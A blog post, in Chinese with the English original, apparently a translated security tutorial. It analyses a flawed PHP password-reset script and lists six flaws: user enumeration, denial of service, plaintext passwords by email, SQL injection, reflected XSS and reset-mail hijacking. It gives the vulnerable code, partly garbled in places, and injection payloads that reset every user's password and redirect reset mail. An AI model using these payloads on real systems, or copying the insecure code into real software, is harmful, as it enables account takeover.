最新消息:

密码重置漏洞那点事儿

书籍与资料 admin 4778浏览 0评论

密码重置功能是一些常见漏洞的起因。例如用户名枚举漏洞(数据库中用户名不存在和密码错误显示不同的错误信息),敏感信息泄露(把明文密码通过e-mail发送给用户)重置密码消息劫持(攻击会者接收到密码重置信息)这些都是在密码重置功能中比较常见的漏洞。

很多开发者都不能真正了解密码重置所能引发的危害,而这个博客文章告诉大家一些不遵守基本安全准则的开发人员所开发的密码重置功能会带来哪些危害。

举个例子,一个健壮的密码恢重置功能会生成一个令牌,并通过电子邮件发送一个包含令牌的重置密码连接给用户。

令牌应具有以下特征:

包含64个字符或者更多
唯一性
随机性
一次性
拥有较短寿命(比如在24小时内到期)

当用户点击该链接时,应用程序必须检查令牌是否有效。
如果令牌有效,应用程序必须注销这个令牌,以便它不能被重用,并允许用户更改自己的密码。
此外,如果用户试图第二次重置密码,在完成第一次重置过程之前,应用程序必须废止旧的密码重置请求并生成一个新的重置请求。

为了提高安全性,也可以使用双重的用户身份认证(但并不是必须使用)。

比如,要求用户回答之前填写的隐私问题(比如我的大姨妈的名字是神马)或确认发送到用户手机的验证码。

现在,让我们分析一个真实的并且设计的很糟糕的密码恢复系统,列举出所有相关的安全漏洞,并尝试编写POC

 <?php      
 /* generates a new random password */   
  function generatePassword() {   
       $chars = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");        
       for ($i = 0; $i < 10; $i++){             
           $password .= $chars[rand(0,35)];   
      }   
      return $password;   
  }   
     /* send the new password to the user e-mail and update the database */   
 if ($_REQUEST['mail']) {        
      $con = new Connection();   
     $con->sql = "  SELECT usr_user.id,    
                     usr_user.name,    
                     usr_user.email,    
                      usr_user.password   
                FROM  usr_user    
                  WHERE  usr_user.email = '" . $_REQUEST['mail'] . "'   
                  ORDER  BY id DESC ";   
     $res = $con->executeQuery();   
      if (is_array($res)){   
           $usr = $res[0];   
          $password = generatePassword();   
           $con->sql = "UPDATE usr_user SET password = MD5(trim('".$password."')) WHERE email = '" . $_REQUEST['mail'] . "' ";   
         $con->executeQuery();   
         /* headers */   
            $headers = "MIME-Version: 1.0\r\n";   
          $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";   

           /* aditional headers */   
           $headers .= "To: " . $usr->name . " <" .="" 35:="" headers="" 36:="" 37:="" message="" body="" 38:="" html="" 39:="" usr-="">name . '';   
           $html .= '';   
          $html .= '';   
          $html .= '';   
          $html .= '';          
          /* Send e-mail to user with his new password   
          if (mail($_REQUEST['mail'], "Your new administrative password", $html, $headers)){   
              $message = "Your new password was sent to: " . $_REQUEST['mail'];   
              $success = true;   
           }   
     } else {             
           $message = "The provided e-mail is invalid";   
          $success = false;   
     }         
 }      
?>

(1)用户名枚举

最明显的漏洞就是用户名枚举漏洞,用户提交一个邮箱地址,如果邮箱存在那么,系统会返回一条信息

"Your new password has been sent to: LanLan@wyl.com"

如果该邮箱没有被人注册,那么系统将返回

"The provided e-mail is invalid"

(2)拒绝服务

第二个漏洞应该是拒绝服务

这个系统中有一个生成随机密码的函数,攻击者可以编写一个脚本来不断尝试重置密码过程(原文中给出15秒每次,怀疑频率是否有点低)

另外,如果配合用户名枚举漏洞的话,这个漏洞会产生更大的危害,可以用来更改任意用户的密码。(虽然你收不到该密码,但也可以给用户产生不小的麻烦)

(3)敏感信息泄露

第三个漏洞是敏感信息泄露,因为该系统使用明文把密码通过邮件发送给用户,并且没有在用户下次登录的时候

强制用户修改密码。如果攻击者获取了用户的邮件信息(其实这个也不算特别容易),就可以通过邮件中的密码登录系统。

(4)SQL 注入

第四个注入漏洞也比较明显,用户提交的数据没有经过过滤直接代入查询语句,利用方式也有很多种。这样构造可以改掉所有用户的密码,也可以用来造成拒绝服务攻击。

Input: ’ or 1=1%23
First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = ’’ or 1=1#’ ORDER   BY id DESC
Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim(‘xxxxxxxxxx’)) WHERE email like ’’ or 1=1#’

这个注入点还可以用来进行盲注来猜测一些敏感信息。 (5)跨站脚本漏洞 第五个漏洞也可以很明显的找到,用户输入的mail参数被带入到了邮件内容中(没有经过任何过滤),这个漏洞的利用需要配合 SQL 注入漏洞来使用

User Input: ’ or 1=1%23<script>alert(1)</script>
First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = ’’ or 1=1#<script>alert(1)</script>‘ ORDER   BY id DESC
Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim(‘xxxxxxxxxx’)) WHERE email like ’’ or 1=1#<script>alert(1)</script>‘
Response Message (Line 47): Your new password was sent to: ’ or 1=1#<script>alert(1)</script>

提交上述数据,系统首先会修改所有用户的密码,然后给所有用户发送包含恶意脚本的文件

(6)密码重置信息劫持

最后一个漏洞是密码重置信息劫持,也是危害比较严重的漏洞。产生原因是,用户提交数据mail(又是这货)被包含到了MIME头中,这个漏洞的利用同样需要配合SQL注入:

User Input: LanLan@wyl.com%00’ or 1=1%23
First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = ’LanLan@wyl.com[null byte char]’ or 1=1#’ ORDER   BY id DESC 
Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim(‘xxxxxxxxxx’)) WHERE email like ’LanLan@wyl.com[null byte char]’ or 1=1#’
MIME Header becomes (Line 34): To: John Smith <LanLan@wyl.com[null byte char]’ or 1=1#>

执行上面的代码的结果就是所用用户密码被修改,修改后的邮件会被发送到LanLan@wyl.com,这里[null byte char]会截断mini头中的信息

最近Freebuf上发过一个邮件注入的帖子,感觉可以在这种情况下加以利用),但是我觉得在很多数据库中[null byte char]也会截断查询,这里没有进行测试,有兴趣的同学可以测试一下
Hope you enjoy! :-)
Keep Hacking!

[原文地址,译/FreeBuf实习小编wyl]

1.  Username Enumeration:

The first vulnerability we can identify, is a user enumeration vulnerability, because when the user supplies a registered e-mail, the application will reply with “Your new password has been sent to: email@email.com”. Otherwise, the application will reply with “The provided e-mail is invalid”.

2.    Denial of Service:

The second vulnerability we can identify is a denial of service abusing the functionality of password recovery because this application changes the actual password of user to a new/randomly generated password (as you can see in the lines 25-28). That way an attacker could create, for example, an automatic script to abuse the functionality by resetting user passwords every 15 seconds and blocking real users from loggin into the application. And, in combination with a username enumeration vulnerability, the severity of this vulnerability increases.

3.    Sensitive Information Disclosure:

The third vulnerability we can identify is sensitive information disclosure because the application sends an e-mail to the user with the newly generated password in clear-text and doesn’t force the user to change his password the next time he logs in. So, if an attacker compromises the e-mail of a user and the user forgets to change their password the next time they log in, the application can be accessed by the attacker using the original e-mail message.

4.    SQL Injection:

The fourth vulnerability we can identify is  SQL Injection. User input is not properly validated and directly concatenated to the query string in the lines 15 and 26. An attacker can exploit this vulnerability in a number of ways.

The first is through denial-of-service by abusing the update query and changing all users password by supplying the following input:

  • Input: ‘ or 1=1%23
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = ” or 1=1#’ ORDER   BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim(‘xxxxxxxxxx’)) WHERE email like ” or 1=1#’

Another attack vector would be using this SQL Injection to recover other types of information from the database via blind queries. Unfortunately we can’t use this vector to recover the md5 hash of passwords from the database because all blind requests where the response is “True” will actually change the password of all users when the application executes the update query.

5.    Reflected Cross-Site Scripting:

The Fifth vulnerability we can identify, is reflected cross-site scripting. In the reply message provided by the application in line 47, the user input $_REQUEST[‘mail’] is directly concatenated to the response message (without any treatment) when the application finds a valid username in the database. To exploit this vulnerability we will need to combine this vulnerability with the SQL Injection by supplying the following input to the application:

  • User Input: ‘ or 1=1%23<script>alert(1)</script>
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = ” or 1=1#<script>alert(1)</script>’ ORDER   BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim(‘xxxxxxxxxx’)) WHERE email like ” or 1=1#<script>alert(1)</script>’
  • Response Message (Line 47): Your new password was sent to: ‘ or 1=1#<script>alert(1)</script>

So, as we can see, the application will accept the input as a valid SQL statement changing all user passwords and will return the message described above to the user browser to trigger the malicious script.

6.    Password Recovery Message Hijack:

And last but not least, the sixth vulnerability we can identify is password recovery message hijacking. As we can see in the line 34, the application concatenates the user input $_REQUEST[‘mail’] directly to the MIME message header instead of using the registered user e-mail. To exploit this vulnerability we will need to combine this vulnerability with the SQL injection vulnerability by supplying the following input to the application:

  • User Input: valid-email@attacker.com%00′ or 1=1%23
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = ‘valid-email@attacker.com[null byte char]’ or 1=1#’ ORDER   BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim(‘xxxxxxxxxx’)) WHERE email like ‘valid-email@attacker.com[null byte char]’ or 1=1#’
  • MIME Header becomes (Line 34): To: John Smith <valid-email@attacker.com[null byte char]’ or 1=1#>

Just like the exploitation of reflected cross-site scripting, the queries 1 and 2 will be valid and will reset the password of all users because doesn’t exists a registered e-mail with ‘valid-email@attacker.com[null byte char]’ and will send a e-mail to John Smith <valid-email@attacker.com[null byte char]’ or 1=1#>. But, as we all know, the e-mail MIME header will be treated as a string and the [null byte] will be considered part of that character string. So, as is also known, the null byte represents the end of a character string and because of this behavior will kill the rest of that string. In this case the MIME header becomes John Smith <valid-email@attacker.com> allowing the attacker to hijack the password recovery message and discover the password generated for all users (because all users passwords are changed in the update query).

With this real world example, we can see that a simple password recovery system can possibly add six or more vulnerabilities to an application.

Hope you enjoy! 🙂

Keep Hacking!

转载请注明:jinglingshu的博客 » 密码重置漏洞那点事儿

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址